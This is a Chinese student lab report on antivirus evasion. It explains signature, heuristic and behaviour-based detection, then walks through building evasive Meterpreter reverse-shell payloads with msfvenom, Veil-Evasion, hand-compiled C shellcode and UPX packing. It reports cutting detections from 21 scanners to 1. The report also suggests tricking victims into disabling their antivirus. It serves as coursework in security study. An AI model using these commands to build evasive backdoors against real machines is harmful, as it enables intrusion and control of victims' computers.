20155236范晨歌_免杀原理与实践
免杀
概述
- 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术”。
- 被谁杀？当然是被杀毒软件（引擎）杀。所以，要做好免杀技术（防御），就要弄清杀毒方式（攻击），也就是这些杀毒软件是如何工作的。
恶意代码检测方式
- 基于特征码的检测
- 特征库，也就是我们平时说的病毒库，它记录了一些恶意软件的特征码，这些特征码由一个不大于64字节的特征串组成，根据自己检测出或网络上已发现报告的病毒，对其多段提取特征码，构成了对恶意软件查杀的重要因素；
- 杀毒软件都有着自己的庞大病毒库（实际上就是由特征码构成的一个数据库），杀毒时只需与特征码进行比对就可判断出软件是否有毒；
- 根据以上介绍，我总结了这种方式的查杀特点：
- 病毒库越大，杀毒有效率越高；
- 因为收集的是已发现病毒的特征码，所以误报率低；
- 对部分新型病毒没有抵抗性，无法抵御零日攻击，需要定期更新病毒库。
- 启发式恶意软件检测
-
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧！
- 用较为专业的角度来解释就是，分析对象文件与病毒特征库中的病毒原码进行比较，当二者匹配率大于某一值时(通常这一值较小，所以容易误报)，杀毒软件就会将其列为可疑文件以进行下一步的除理。
- 总结出以下特点：
- 查杀效率极高，不需要依赖庞大的病毒库；
- 对新型病毒有较好的预防性，可以抵御零日攻击；
- 因为分析是“启发式”的、不精确的、概率性的，所以其误报率也不可忽略；
- F-Prot是一款杀毒软件，有三个启发引擎，可见其是比较强大的，但其误报我也深感无能为力啊（后文会介绍）……
-
- 基于行为的恶意软件检测
- 是在一种程序运行的状态下对其行为进行监控，如果有敏感行为会报毒，是一种动态的监测与捕捉；
- 总结出以下特点：
- 不过分依赖病毒库，效率高；
- 可以检测出获取权限等敏感行为，从这种意义上说，在一定程度上是可以抵御新型病毒的；
- 因为是对系统的一个动态监测，会占用部分系统资源。
免杀方式
- 只有弄懂了查杀原理，对免杀的方式才有更清晰的理解
- 改变特征码
- 加壳，通过加壳，让杀毒软件无法进行反汇编、逆向工程，进而无法分析代码
- 对shellcode进行编码、重组
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 通讯方式
- 其它方法
- 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中
- 使用社会工程学类攻击，诱骗目标关闭AV软件、点击木马软件
- 纯手工打造一个恶意软件
实践内容
1.正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧。
2.通过组合应用各种技术实现恶意代码免杀（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图）。
3.用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本。
首先要在kali上安装veil
由于有很多同学的前车之鉴，我先尝试了如下命令
发现有丶难受，然后换成了c语言use c/meterpreter/rev_tcp.py ，生成可执行文件
想都不用想，这个肯定是没有说法的。我就接着做了：使用msf生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f
在拿去测试一下，
详细过程
Veil-Evasion免杀平台
- Veil-Evasion是一个与Metasploit有点类似的软件，已经在kali虚拟机里，如果没有可以进行在线安装：
sudo apt-get install veil-evasion - 在终端下输入指令
veil-evasion即可打开软件，根据menu的提示依次键入以下指令：
use python/meterpreter/rev_tcp //设置payload
set LHOST XXX.XXX.XXX.XXX //设置反弹连接IP
set port //设置反弹端口 ，默认为4444
generate //生成
5236 //程序名
1
C语言调用Shellcode
-
在kali主机下，进入终端，执行指令：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f cLHOST：攻击机IPLPORT：反弹连接端口c：生成一个c语言格式的Shellcode数
-
将上述代码从虚拟机里copy出来，用
Microsoft Visual Studio 2013进行编译运行生成可执行文件 -
在kali下进入MSF打开监听进程，方式参考了学长的博文
-
在靶机上运行该可执行文件，kali成功获取权限
-
可以看出，生成shellcode半手工打造，而不是通过msfvenom指令生成一个可执行文件，风险已经降低了不少，但是仍被定性为病毒文件，所以需要进一步考虑修改代码
压缩壳UPX压缩VS生成exe文件
但是这种壳是被针对的。。。
一些小问题：
- 是不是
F-Prot的杀毒引擎为启发式，太敏感了？ - 是不是call指令的调用或者
VirtualProtect()操作这类行为敏感，导致报毒？
实验思考
- 免杀最好的效果就是纯手工，纯人为构造，杀软可以分析免杀软件生成的模式进而发现其隐藏的规律，而人为构造的恶意代码往往因为不具有普遍性而难以捉摸；但免杀的尝试不是一蹴而就的，就像这次的实践，是在不断的修改代码过程中，从开始21家报毒，到后来1家报毒，逐渐达到了免杀的级别，这个过程需要不断的尝试；
- 杀毒与免杀就是矛与盾，是一种博弈关系，是一种此消彼长的竞争关系，只要互联网还存在，杀毒与免杀就是互联网安全永恒的主题；杀毒软件的薄弱在本次实践中可见一斑，所以以后在网络中要“洁身自好”，不该点击的链接别点，来历不明的第三方软件别下，定时更新病毒库、查毒、杀毒；
- 这一种博弈关系非常微妙，就像本文提到的，本来VirSCAN.org的目的可能是帮助检查是否为病毒文件，但可能被“我们”这样的人恶意利用，用来检测自己的病毒是否免杀；又比如，加壳软件的初衷可能是版权问题，防止他人恶意反汇编、逆向，但这又能被“我们”利用，让“壳”变成病毒的保护壳，正所谓，工具本无好坏，人心才有善恶！